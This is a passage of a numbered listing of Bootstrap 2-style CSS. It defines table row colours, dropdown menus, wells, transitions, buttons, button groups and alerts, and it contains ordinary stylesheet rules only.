margin-left:0 1409 | } 1410 | .table td.span12,.table th.span12 { 1411 | float:none; 1412 | width:924px; 1413 | margin-left:0 1414 | } 1415 | .table tbody tr.success td { 1416 | background-color:#dff0d8 1417 | } 1418 | .table tbody tr.error td { 1419 | background-color:#f2dede 1420 | } 1421 | .table tbody tr.warning td { 1422 | background-color:#fcf8e3 1423 | } 1424 | .table tbody tr.info td { 1425 | background-color:#d9edf7 1426 | } 1427 | .table-hover tbody tr.success:hover td { 1428 | background-color:#d0e9c6 1429 | } 1430 | .table-hover tbody tr.error:hover td { 1431 | background-color:#ebcccc 1432 | } 1433 | .table-hover tbody tr.warning:hover td { 1434 | background-color:#faf2cc 1435 | } 1436 | .table-hover tbody tr.info:hover td { 1437 | background-color:#c4e3f3 1438 | } 1439 | .dropup,.dropdown { 1440 | position:relative 1441 | } 1442 | .dropdown-toggle { 1443 | *margin-bottom:-3px 1444 | } 1445 | .dropdown-toggle:active,.open .dropdown-toggle { 1446 | outline:0 1447 | } 1448 | .caret { 1449 | display:inline-block; 1450 | width:0; 1451 | height:0; 1452 | vertical-align:top; 1453 | border-top:4px solid #000; 1454 | border-right:4px solid transparent; 1455 | border-left:4px solid transparent; 1456 | content:"" 1457 | } 1458 | .dropdown .caret { 1459 | margin-top:8px; 1460 | margin-left:2px 1461 | } 1462 | .dropdown-menu { 1463 | position:absolute; 1464 | top:100%; 1465 | left:0; 1466 | z-index:1000; 1467 | display:none; 1468 | float:left; 1469 | min-width:160px; 1470 | padding:5px 0; 1471 | margin:2px 0 0; 1472 | list-style:none; 1473 | background-color:#fff; 1474 | border:1px solid #ccc; 1475 | border:1px solid rgba(0,0,0,0.2); 1476 | *border-right-width:2px; 1477 | *border-bottom-width:2px; 1478 | -webkit-border-radius:6px; 1479 | -moz-border-radius:6px; 1480 | border-radius:6px; 1481 | -webkit-box-shadow:0 5px 10px rgba(0,0,0,0.2); 1482 | -moz-box-shadow:0 5px 10px rgba(0,0,0,0.2); 1483 | box-shadow:0 5px 10px rgba(0,0,0,0.2); 1484 | -webkit-background-clip:padding-box; 1485 | -moz-background-clip:padding; 1486 | background-clip:padding-box 1487 | } 1488 | .dropdown-menu.pull-right { 1489 | right:0; 1490 | left:auto 1491 | } 1492 | .dropdown-menu .divider { 1493 | *width:100%; 1494 | height:1px; 1495 | margin:9px 1px; 1496 | *margin:-5px 0 5px; 1497 | overflow:hidden; 1498 | background-color:#e5e5e5; 1499 | border-bottom:1px solid #fff 1500 | } 1501 | .dropdown-menu li>a { 1502 | display:block; 1503 | padding:3px 20px; 1504 | clear:both; 1505 | font-weight:normal; 1506 | line-height:20px; 1507 | color:#333; 1508 | white-space:nowrap 1509 | } 1510 | .dropdown-menu li>a:hover,.dropdown-menu li>a:focus,.dropdown-submenu:hover>a { 1511 | color:#fff; 1512 | text-decoration:none; 1513 | background-color:#0081c2; 1514 | background-image:-moz-linear-gradient(top,#08c,#0077b3); 1515 | background-image:-webkit-gradient(linear,0 0,0 100%,from(#08c),to(#0077b3)); 1516 | background-image:-webkit-linear-gradient(top,#08c,#0077b3); 1517 | background-image:-o-linear-gradient(top,#08c,#0077b3); 1518 | background-image:linear-gradient(to bottom,#08c,#0077b3); 1519 | background-repeat:repeat-x; 1520 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc',endColorstr='#ff0077b3',GradientType=0) 1521 | } 1522 | .dropdown-menu .active>a,.dropdown-menu .active>a:hover { 1523 | color:#333; 1524 | text-decoration:none; 1525 | background-color:#0081c2; 1526 | background-image:-moz-linear-gradient(top,#08c,#0077b3); 1527 | background-image:-webkit-gradient(linear,0 0,0 100%,from(#08c),to(#0077b3)); 1528 | background-image:-webkit-linear-gradient(top,#08c,#0077b3); 1529 | background-image:-o-linear-gradient(top,#08c,#0077b3); 1530 | background-image:linear-gradient(to bottom,#08c,#0077b3); 1531 | background-repeat:repeat-x; 1532 | outline:0; 1533 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc',endColorstr='#ff0077b3',GradientType=0) 1534 | } 1535 | .dropdown-menu .disabled>a,.dropdown-menu .disabled>a:hover { 1536 | color:#999 1537 | } 1538 | .dropdown-menu .disabled>a:hover { 1539 | text-decoration:none; 1540 | cursor:default; 1541 | background-color:transparent; 1542 | background-image:none 1543 | } 1544 | .open { 1545 | *z-index:1000 1546 | } 1547 | .open>.dropdown-menu { 1548 | display:block 1549 | } 1550 | .pull-right>.dropdown-menu { 1551 | right:0; 1552 | left:auto 1553 | } 1554 | .dropup .caret,.navbar-fixed-bottom .dropdown .caret { 1555 | border-top:0; 1556 | border-bottom:4px solid #000; 1557 | content:"" 1558 | } 1559 | .dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu { 1560 | top:auto; 1561 | bottom:100%; 1562 | margin-bottom:1px 1563 | } 1564 | .dropdown-submenu { 1565 | position:relative 1566 | } 1567 | .dropdown-submenu>.dropdown-menu { 1568 | top:0; 1569 | left:100%; 1570 | margin-top:-6px; 1571 | margin-left:-1px; 1572 | -webkit-border-radius:0 6px 6px 6px; 1573 | -moz-border-radius:0 6px 6px 6px; 1574 | border-radius:0 6px 6px 6px 1575 | } 1576 | .dropdown-submenu:hover>.dropdown-menu { 1577 | display:block 1578 | } 1579 | .dropup .dropdown-submenu>.dropdown-menu { 1580 | top:auto; 1581 | bottom:0; 1582 | margin-top:0; 1583 | margin-bottom:-2px; 1584 | -webkit-border-radius:5px 5px 5px 0; 1585 | -moz-border-radius:5px 5px 5px 0; 1586 | border-radius:5px 5px 5px 0 1587 | } 1588 | .dropdown-submenu>a:after { 1589 | display:block; 1590 | float:right; 1591 | width:0; 1592 | height:0; 1593 | margin-top:5px; 1594 | margin-right:-10px; 1595 | border-color:transparent; 1596 | border-left-color:#ccc; 1597 | border-style:solid; 1598 | border-width:5px 0 5px 5px; 1599 | content:" " 1600 | } 1601 | .dropdown-submenu:hover>a:after { 1602 | border-left-color:#fff 1603 | } 1604 | .dropdown-submenu.pull-left { 1605 | float:none 1606 | } 1607 | .dropdown-submenu.pull-left>.dropdown-menu { 1608 | left:-100%; 1609 | margin-left:10px; 1610 | -webkit-border-radius:6px 0 6px 6px; 1611 | -moz-border-radius:6px 0 6px 6px; 1612 | border-radius:6px 0 6px 6px 1613 | } 1614 | .dropdown .dropdown-menu .nav-header { 1615 | padding-right:20px; 1616 | padding-left:20px 1617 | } 1618 | .typeahead { 1619 | margin-top:2px; 1620 | -webkit-border-radius:4px; 1621 | -moz-border-radius:4px; 1622 | border-radius:4px 1623 | } 1624 | .well { 1625 | min-height:20px; 1626 | padding:19px; 1627 | margin-bottom:20px; 1628 | background-color:#f5f5f5; 1629 | border:1px solid #e3e3e3; 1630 | -webkit-border-radius:4px; 1631 | -moz-border-radius:4px; 1632 | border-radius:4px; 1633 | -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.05); 1634 | -moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.05); 1635 | box-shadow:inset 0 1px 1px rgba(0,0,0,0.05) 1636 | } 1637 | .well blockquote { 1638 | border-color:#ddd; 1639 | border-color:rgba(0,0,0,0.15) 1640 | } 1641 | .well-large { 1642 | padding:24px; 1643 | -webkit-border-radius:6px; 1644 | -moz-border-radius:6px; 1645 | border-radius:6px 1646 | } 1647 | .well-small { 1648 | padding:9px; 1649 | -webkit-border-radius:3px; 1650 | -moz-border-radius:3px; 1651 | border-radius:3px 1652 | } 1653 | .fade { 1654 | opacity:0; 1655 | -webkit-transition:opacity .15s linear; 1656 | -moz-transition:opacity .15s linear; 1657 | -o-transition:opacity .15s linear; 1658 | transition:opacity .15s linear 1659 | } 1660 | .fade.in { 1661 | opacity:1 1662 | } 1663 | .collapse { 1664 | position:relative; 1665 | height:0; 1666 | overflow:hidden; 1667 | -webkit-transition:height .35s ease; 1668 | -moz-transition:height .35s ease; 1669 | -o-transition:height .35s ease; 1670 | transition:height .35s ease 1671 | } 1672 | .collapse.in { 1673 | height:auto 1674 | } 1675 | .close { 1676 | float:right; 1677 | font-size:20px; 1678 | font-weight:bold; 1679 | line-height:20px; 1680 | color:#000; 1681 | text-shadow:0 1px 0 #fff; 1682 | opacity:.2; 1683 | filter:alpha(opacity=20) 1684 | } 1685 | .close:hover { 1686 | color:#000; 1687 | text-decoration:none; 1688 | cursor:pointer; 1689 | opacity:.4; 1690 | filter:alpha(opacity=40) 1691 | } 1692 | button.close { 1693 | padding:0; 1694 | cursor:pointer; 1695 | background:transparent; 1696 | border:0; 1697 | -webkit-appearance:none 1698 | } 1699 | .btn { 1700 | display:inline-block; 1701 | *display:inline; 1702 | padding:4px 12px; 1703 | margin-bottom:0; 1704 | *margin-left:.3em; 1705 | font-size:14px; 1706 | line-height:20px; 1707 | *line-height:20px; 1708 | color:#333; 1709 | text-align:center; 1710 | text-shadow:0 1px 1px rgba(255,255,255,0.75); 1711 | vertical-align:middle; 1712 | cursor:pointer; 1713 | background-color:#f5f5f5; 1714 | *background-color:#e6e6e6; 1715 | background-image:-moz-linear-gradient(top,#fff,#e6e6e6); 1716 | background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6)); 1717 | background-image:-webkit-linear-gradient(top,#fff,#e6e6e6); 1718 | background-image:-o-linear-gradient(top,#fff,#e6e6e6); 1719 | background-image:linear-gradient(to bottom,#fff,#e6e6e6); 1720 | background-repeat:repeat-x; 1721 | border:1px solid #bbb; 1722 | *border:0; 1723 | border-color:#e6e6e6 #e6e6e6 #bfbfbf; 1724 | border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25); 1725 | border-bottom-color:#a2a2a2; 1726 | -webkit-border-radius:4px; 1727 | -moz-border-radius:4px; 1728 | border-radius:4px; 1729 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff',endColorstr='#ffe6e6e6',GradientType=0); 1730 | filter:progid:DXImageTransform.Microsoft.gradient(enabled=false); 1731 | *zoom:1; 1732 | -webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05); 1733 | -moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05); 1734 | box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05) 1735 | } 1736 | .btn:hover,.btn:active,.btn.active,.btn.disabled,.btn[disabled] { 1737 | color:#333; 1738 | background-color:#e6e6e6; 1739 | *background-color:#d9d9d9 1740 | } 1741 | .btn:active,.btn.active { 1742 | background-color:#ccc \9 1743 | } 1744 | .btn:first-child { 1745 | *margin-left:0 1746 | } 1747 | .btn:hover { 1748 | color:#333; 1749 | text-decoration:none; 1750 | background-color:#e6e6e6; 1751 | *background-color:#d9d9d9; 1752 | background-position:0 -15px; 1753 | -webkit-transition:background-position .1s linear; 1754 | -moz-transition:background-position .1s linear; 1755 | -o-transition:background-position .1s linear; 1756 | transition:background-position .1s linear 1757 | } 1758 | .btn:focus { 1759 | outline:thin dotted #333; 1760 | outline:5px auto -webkit-focus-ring-color; 1761 | outline-offset:-2px 1762 | } 1763 | .btn.active,.btn:active { 1764 | background-color:#e6e6e6; 1765 | background-color:#d9d9d9 \9; 1766 | background-image:none; 1767 | outline:0; 1768 | -webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05); 1769 | -moz-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05); 1770 | box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05) 1771 | } 1772 | .btn.disabled,.btn[disabled] { 1773 | cursor:default; 1774 | background-color:#e6e6e6; 1775 | background-image:none; 1776 | opacity:.65; 1777 | filter:alpha(opacity=65); 1778 | -webkit-box-shadow:none; 1779 | -moz-box-shadow:none; 1780 | box-shadow:none 1781 | } 1782 | .btn-large { 1783 | padding:11px 19px; 1784 | font-size:17.5px; 1785 | -webkit-border-radius:6px; 1786 | -moz-border-radius:6px; 1787 | border-radius:6px 1788 | } 1789 | .btn-large [class^="icon-"],.btn-large [class*=" icon-"] { 1790 | margin-top:2px 1791 | } 1792 | .btn-small { 1793 | padding:2px 10px; 1794 | font-size:11.9px; 1795 | -webkit-border-radius:3px; 1796 | -moz-border-radius:3px; 1797 | border-radius:3px 1798 | } 1799 | .btn-small [class^="icon-"],.btn-small [class*=" icon-"] { 1800 | margin-top:0 1801 | } 1802 | .btn-mini { 1803 | padding:1px 6px; 1804 | font-size:10.5px; 1805 | -webkit-border-radius:3px; 1806 | -moz-border-radius:3px; 1807 | border-radius:3px 1808 | } 1809 | .btn-block { 1810 | display:block; 1811 | width:100%; 1812 | padding-right:0; 1813 | padding-left:0; 1814 | -webkit-box-sizing:border-box; 1815 | -moz-box-sizing:border-box; 1816 | box-sizing:border-box 1817 | } 1818 | .btn-block+.btn-block { 1819 | margin-top:5px 1820 | } 1821 | input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block { 1822 | width:100% 1823 | } 1824 | .btn-primary.active,.btn-warning.active,.btn-danger.active,.btn-success.active,.btn-info.active,.btn-inverse.active { 1825 | color:rgba(255,255,255,0.75) 1826 | } 1827 | .btn { 1828 | border-color:#c5c5c5; 1829 | border-color:rgba(0,0,0,0.15) rgba(0,0,0,0.15) rgba(0,0,0,0.25) 1830 | } 1831 | .btn-primary { 1832 | color:#fff; 1833 | text-shadow:0 -1px 0 rgba(0,0,0,0.25); 1834 | background-color:#006dcc; 1835 | *background-color:#04c; 1836 | background-image:-moz-linear-gradient(top,#08c,#04c); 1837 | background-image:-webkit-gradient(linear,0 0,0 100%,from(#08c),to(#04c)); 1838 | background-image:-webkit-linear-gradient(top,#08c,#04c); 1839 | background-image:-o-linear-gradient(top,#08c,#04c); 1840 | background-image:linear-gradient(to bottom,#08c,#04c); 1841 | background-repeat:repeat-x; 1842 | border-color:#04c #04c #002a80; 1843 | border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25); 1844 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc',endColorstr='#ff0044cc',GradientType=0); 1845 | filter:progid:DXImageTransform.Microsoft.gradient(enabled=false) 1846 | } 1847 | .btn-primary:hover,.btn-primary:active,.btn-primary.active,.btn-primary.disabled,.btn-primary[disabled] { 1848 | color:#fff; 1849 | background-color:#04c; 1850 | *background-color:#003bb3 1851 | } 1852 | .btn-primary:active,.btn-primary.active { 1853 | background-color:#039 \9 1854 | } 1855 | .btn-warning { 1856 | color:#fff; 1857 | text-shadow:0 -1px 0 rgba(0,0,0,0.25); 1858 | background-color:#faa732; 1859 | *background-color:#f89406; 1860 | background-image:-moz-linear-gradient(top,#fbb450,#f89406); 1861 | background-image:-webkit-gradient(linear,0 0,0 100%,from(#fbb450),to(#f89406)); 1862 | background-image:-webkit-linear-gradient(top,#fbb450,#f89406); 1863 | background-image:-o-linear-gradient(top,#fbb450,#f89406); 1864 | background-image:linear-gradient(to bottom,#fbb450,#f89406); 1865 | background-repeat:repeat-x; 1866 | border-color:#f89406 #f89406 #ad6704; 1867 | border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25); 1868 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffbb450',endColorstr='#fff89406',GradientType=0); 1869 | filter:progid:DXImageTransform.Microsoft.gradient(enabled=false) 1870 | } 1871 | .btn-warning:hover,.btn-warning:active,.btn-warning.active,.btn-warning.disabled,.btn-warning[disabled] { 1872 | color:#fff; 1873 | background-color:#f89406; 1874 | *background-color:#df8505 1875 | } 1876 | .btn-warning:active,.btn-warning.active { 1877 | background-color:#c67605 \9 1878 | } 1879 | .btn-danger { 1880 | color:#fff; 1881 | text-shadow:0 -1px 0 rgba(0,0,0,0.25); 1882 | background-color:#da4f49; 1883 | *background-color:#bd362f; 1884 | background-image:-moz-linear-gradient(top,#ee5f5b,#bd362f); 1885 | background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#bd362f)); 1886 | background-image:-webkit-linear-gradient(top,#ee5f5b,#bd362f); 1887 | background-image:-o-linear-gradient(top,#ee5f5b,#bd362f); 1888 | background-image:linear-gradient(to bottom,#ee5f5b,#bd362f); 1889 | background-repeat:repeat-x; 1890 | border-color:#bd362f #bd362f #802420; 1891 | border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25); 1892 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffee5f5b',endColorstr='#ffbd362f',GradientType=0); 1893 | filter:progid:DXImageTransform.Microsoft.gradient(enabled=false) 1894 | } 1895 | .btn-danger:hover,.btn-danger:active,.btn-danger.active,.btn-danger.disabled,.btn-danger[disabled] { 1896 | color:#fff; 1897 | background-color:#bd362f; 1898 | *background-color:#a9302a 1899 | } 1900 | .btn-danger:active,.btn-danger.active { 1901 | background-color:#942a25 \9 1902 | } 1903 | .btn-success { 1904 | color:#fff; 1905 | text-shadow:0 -1px 0 rgba(0,0,0,0.25); 1906 | background-color:#5bb75b; 1907 | *background-color:#51a351; 1908 | background-image:-moz-linear-gradient(top,#62c462,#51a351); 1909 | background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#51a351)); 1910 | background-image:-webkit-linear-gradient(top,#62c462,#51a351); 1911 | background-image:-o-linear-gradient(top,#62c462,#51a351); 1912 | background-image:linear-gradient(to bottom,#62c462,#51a351); 1913 | background-repeat:repeat-x; 1914 | border-color:#51a351 #51a351 #387038; 1915 | border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25); 1916 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff62c462',endColorstr='#ff51a351',GradientType=0); 1917 | filter:progid:DXImageTransform.Microsoft.gradient(enabled=false) 1918 | } 1919 | .btn-success:hover,.btn-success:active,.btn-success.active,.btn-success.disabled,.btn-success[disabled] { 1920 | color:#fff; 1921 | background-color:#51a351; 1922 | *background-color:#499249 1923 | } 1924 | .btn-success:active,.btn-success.active { 1925 | background-color:#408140 \9 1926 | } 1927 | .btn-info { 1928 | color:#fff; 1929 | text-shadow:0 -1px 0 rgba(0,0,0,0.25); 1930 | background-color:#49afcd; 1931 | *background-color:#2f96b4; 1932 | background-image:-moz-linear-gradient(top,#5bc0de,#2f96b4); 1933 | background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#2f96b4)); 1934 | background-image:-webkit-linear-gradient(top,#5bc0de,#2f96b4); 1935 | background-image:-o-linear-gradient(top,#5bc0de,#2f96b4); 1936 | background-image:linear-gradient(to bottom,#5bc0de,#2f96b4); 1937 | background-repeat:repeat-x; 1938 | border-color:#2f96b4 #2f96b4 #1f6377; 1939 | border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25); 1940 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de',endColorstr='#ff2f96b4',GradientType=0); 1941 | filter:progid:DXImageTransform.Microsoft.gradient(enabled=false) 1942 | } 1943 | .btn-info:hover,.btn-info:active,.btn-info.active,.btn-info.disabled,.btn-info[disabled] { 1944 | color:#fff; 1945 | background-color:#2f96b4; 1946 | *background-color:#2a85a0 1947 | } 1948 | .btn-info:active,.btn-info.active { 1949 | background-color:#24748c \9 1950 | } 1951 | .btn-inverse { 1952 | color:#fff; 1953 | text-shadow:0 -1px 0 rgba(0,0,0,0.25); 1954 | background-color:#363636; 1955 | *background-color:#222; 1956 | background-image:-moz-linear-gradient(top,#444,#222); 1957 | background-image:-webkit-gradient(linear,0 0,0 100%,from(#444),to(#222)); 1958 | background-image:-webkit-linear-gradient(top,#444,#222); 1959 | background-image:-o-linear-gradient(top,#444,#222); 1960 | background-image:linear-gradient(to bottom,#444,#222); 1961 | background-repeat:repeat-x; 1962 | border-color:#222 #222 #000; 1963 | border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25); 1964 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff444444',endColorstr='#ff222222',GradientType=0); 1965 | filter:progid:DXImageTransform.Microsoft.gradient(enabled=false) 1966 | } 1967 | .btn-inverse:hover,.btn-inverse:active,.btn-inverse.active,.btn-inverse.disabled,.btn-inverse[disabled] { 1968 | color:#fff; 1969 | background-color:#222; 1970 | *background-color:#151515 1971 | } 1972 | .btn-inverse:active,.btn-inverse.active { 1973 | background-color:#080808 \9 1974 | } 1975 | button.btn,input[type="submit"].btn { 1976 | *padding-top:3px; 1977 | *padding-bottom:3px 1978 | } 1979 | button.btn::-moz-focus-inner,input[type="submit"].btn::-moz-focus-inner { 1980 | padding:0; 1981 | border:0 1982 | } 1983 | button.btn.btn-large,input[type="submit"].btn.btn-large { 1984 | *padding-top:7px; 1985 | *padding-bottom:7px 1986 | } 1987 | button.btn.btn-small,input[type="submit"].btn.btn-small { 1988 | *padding-top:3px; 1989 | *padding-bottom:3px 1990 | } 1991 | button.btn.btn-mini,input[type="submit"].btn.btn-mini { 1992 | *padding-top:1px; 1993 | *padding-bottom:1px 1994 | } 1995 | .btn-link,.btn-link:active,.btn-link[disabled] { 1996 | background-color:transparent; 1997 | background-image:none; 1998 | -webkit-box-shadow:none; 1999 | -moz-box-shadow:none; 2000 | box-shadow:none 2001 | } 2002 | .btn-link { 2003 | color:#08c; 2004 | cursor:pointer; 2005 | border-color:transparent; 2006 | -webkit-border-radius:0; 2007 | -moz-border-radius:0; 2008 | border-radius:0 2009 | } 2010 | .btn-link:hover { 2011 | color:#005580; 2012 | text-decoration:underline; 2013 | background-color:transparent 2014 | } 2015 | .btn-link[disabled]:hover { 2016 | color:#333; 2017 | text-decoration:none 2018 | } 2019 | .btn-group { 2020 | position:relative; 2021 | display:inline-block; 2022 | *display:inline; 2023 | *margin-left:.3em; 2024 | font-size:0; 2025 | white-space:nowrap; 2026 | vertical-align:middle; 2027 | *zoom:1 2028 | } 2029 | .btn-group:first-child { 2030 | *margin-left:0 2031 | } 2032 | .btn-group+.btn-group { 2033 | margin-left:5px 2034 | } 2035 | .btn-toolbar { 2036 | margin-top:10px; 2037 | margin-bottom:10px; 2038 | font-size:0 2039 | } 2040 | .btn-toolbar .btn+.btn,.btn-toolbar .btn-group+.btn,.btn-toolbar .btn+.btn-group { 2041 | margin-left:5px 2042 | } 2043 | .btn-group>.btn { 2044 | position:relative; 2045 | -webkit-border-radius:0; 2046 | -moz-border-radius:0; 2047 | border-radius:0 2048 | } 2049 | .btn-group>.btn+.btn { 2050 | margin-left:-1px 2051 | } 2052 | .btn-group>.btn,.btn-group>.dropdown-menu { 2053 | font-size:14px 2054 | } 2055 | .btn-group>.btn-mini { 2056 | font-size:11px 2057 | } 2058 | .btn-group>.btn-small { 2059 | font-size:12px 2060 | } 2061 | .btn-group>.btn-large { 2062 | font-size:16px 2063 | } 2064 | .btn-group>.btn:first-child { 2065 | margin-left:0; 2066 | -webkit-border-bottom-left-radius:4px; 2067 | border-bottom-left-radius:4px; 2068 | -webkit-border-top-left-radius:4px; 2069 | border-top-left-radius:4px; 2070 | -moz-border-radius-bottomleft:4px; 2071 | -moz-border-radius-topleft:4px 2072 | } 2073 | .btn-group>.btn:last-child,.btn-group>.dropdown-toggle { 2074 | -webkit-border-top-right-radius:4px; 2075 | border-top-right-radius:4px; 2076 | -webkit-border-bottom-right-radius:4px; 2077 | border-bottom-right-radius:4px; 2078 | -moz-border-radius-topright:4px; 2079 | -moz-border-radius-bottomright:4px 2080 | } 2081 | .btn-group>.btn.large:first-child { 2082 | margin-left:0; 2083 | -webkit-border-bottom-left-radius:6px; 2084 | border-bottom-left-radius:6px; 2085 | -webkit-border-top-left-radius:6px; 2086 | border-top-left-radius:6px; 2087 | -moz-border-radius-bottomleft:6px; 2088 | -moz-border-radius-topleft:6px 2089 | } 2090 | .btn-group>.btn.large:last-child,.btn-group>.large.dropdown-toggle { 2091 | -webkit-border-top-right-radius:6px; 2092 | border-top-right-radius:6px; 2093 | -webkit-border-bottom-right-radius:6px; 2094 | border-bottom-right-radius:6px; 2095 | -moz-border-radius-topright:6px; 2096 | -moz-border-radius-bottomright:6px 2097 | } 2098 | .btn-group>.btn:hover,.btn-group>.btn:focus,.btn-group>.btn:active,.btn-group>.btn.active { 2099 | z-index:2 2100 | } 2101 | .btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle { 2102 | outline:0 2103 | } 2104 | .btn-group>.btn+.dropdown-toggle { 2105 | *padding-top:5px; 2106 | padding-right:8px; 2107 | *padding-bottom:5px; 2108 | padding-left:8px; 2109 | -webkit-box-shadow:inset 1px 0 0 rgba(255,255,255,0.125),inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05); 2110 | -moz-box-shadow:inset 1px 0 0 rgba(255,255,255,0.125),inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05); 2111 | box-shadow:inset 1px 0 0 rgba(255,255,255,0.125),inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05) 2112 | } 2113 | .btn-group>.btn-mini+.dropdown-toggle { 2114 | *padding-top:2px; 2115 | padding-right:5px; 2116 | *padding-bottom:2px; 2117 | padding-left:5px 2118 | } 2119 | .btn-group>.btn-small+.dropdown-toggle { 2120 | *padding-top:5px; 2121 | *padding-bottom:4px 2122 | } 2123 | .btn-group>.btn-large+.dropdown-toggle { 2124 | *padding-top:7px; 2125 | padding-right:12px; 2126 | *padding-bottom:7px; 2127 | padding-left:12px 2128 | } 2129 | .btn-group.open .dropdown-toggle { 2130 | background-image:none; 2131 | -webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05); 2132 | -moz-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05); 2133 | box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05) 2134 | } 2135 | .btn-group.open .btn.dropdown-toggle { 2136 | background-color:#e6e6e6 2137 | } 2138 | .btn-group.open .btn-primary.dropdown-toggle { 2139 | background-color:#04c 2140 | } 2141 | .btn-group.open .btn-warning.dropdown-toggle { 2142 | background-color:#f89406 2143 | } 2144 | .btn-group.open .btn-danger.dropdown-toggle { 2145 | background-color:#bd362f 2146 | } 2147 | .btn-group.open .btn-success.dropdown-toggle { 2148 | background-color:#51a351 2149 | } 2150 | .btn-group.open .btn-info.dropdown-toggle { 2151 | background-color:#2f96b4 2152 | } 2153 | .btn-group.open .btn-inverse.dropdown-toggle { 2154 | background-color:#222 2155 | } 2156 | .btn .caret { 2157 | margin-top:8px; 2158 | margin-left:0 2159 | } 2160 | .btn-mini .caret,.btn-small .caret,.btn-large .caret { 2161 | margin-top:6px 2162 | } 2163 | .btn-large .caret { 2164 | border-top-width:5px; 2165 | border-right-width:5px; 2166 | border-left-width:5px 2167 | } 2168 | .dropup .btn-large .caret { 2169 | border-bottom-width:5px 2170 | } 2171 | .btn-primary .caret,.btn-warning .caret,.btn-danger .caret,.btn-info .caret,.btn-success .caret,.btn-inverse .caret { 2172 | border-top-color:#fff; 2173 | border-bottom-color:#fff 2174 | } 2175 | .btn-group-vertical { 2176 | display:inline-block; 2177 | *display:inline; 2178 | *zoom:1 2179 | } 2180 | .btn-group-vertical .btn { 2181 | display:block; 2182 | float:none; 2183 | width:100%; 2184 | -webkit-border-radius:0; 2185 | -moz-border-radius:0; 2186 | border-radius:0 2187 | } 2188 | .btn-group-vertical .btn+.btn { 2189 | margin-top:-1px; 2190 | margin-left:0 2191 | } 2192 | .btn-group-vertical .btn:first-child { 2193 | -webkit-border-radius:4px 4px 0 0; 2194 | -moz-border-radius:4px 4px 0 0; 2195 | border-radius:4px 4px 0 0 2196 | } 2197 | .btn-group-vertical .btn:last-child { 2198 | -webkit-border-radius:0 0 4px 4px; 2199 | -moz-border-radius:0 0 4px 4px; 2200 | border-radius:0 0 4px 4px 2201 | } 2202 | .btn-group-vertical .btn-large:first-child { 2203 | -webkit-border-radius:6px 6px 0 0; 2204 | -moz-border-radius:6px 6px 0 0; 2205 | border-radius:6px 6px 0 0 2206 | } 2207 | .btn-group-vertical .btn-large:last-child { 2208 | -webkit-border-radius:0 0 6px 6px; 2209 | -moz-border-radius:0 0 6px 6px; 2210 | border-radius:0 0 6px 6px 2211 | } 2212 | .alert { 2213 | padding:8px 35px 8px 14px; 2214 | margin-bottom:20px; 2215 | color:#c09853; 2216 | text-shadow:0 1px 0 rgba(255,255,255,0.5); 2217 | background-color:#fcf8e3; 2218 | border:1px solid #fbeed5; 2219 | -webkit-border-radius:4px; 2220 | -moz-border-radius:4px; 2221 | border-radius:4px 2222 | } 2223 | .alert h4 { 2224 | margin:0 2225 | } 2226 | .alert .close { 2227 | position:relative; 2228 | top:-2px; 2229 | right:-21px; 2230 | line-height:20px 2231 | } 2232 | .alert-success { 2233 | color:#468847; 2234 | background-color:#dff0d8; 2235 | border-color:#d6e9c6 2236 | } 2237 | .alert-danger,.alert-error { 2238 | color:#b94a48; 2239 | background-color:#f2dede; 2240 | border-color:#eed3d7 2241 | } 2242 | .alert-info { 2243 | color:#3a87ad; 2244 | background-color:#d9edf7; 2245 | border-color:#bce8f1 2246 | } 2247 | .alert-block { 2248 | padding-top:14px; 2249 | padding-bottom:14px 2250 | } 2251 | .alert-block>p,.alert-block>ul { 2252 | margin-bottom:0 2253 | } 2254 | .alert-block p+p { 2255 | margin-top:5px 2256 | } 2257 | .nav { 2258 | margin-bottom:20px; 2259 | margin-left:0; 2260 | list-style:none 2261 | } 2262 | 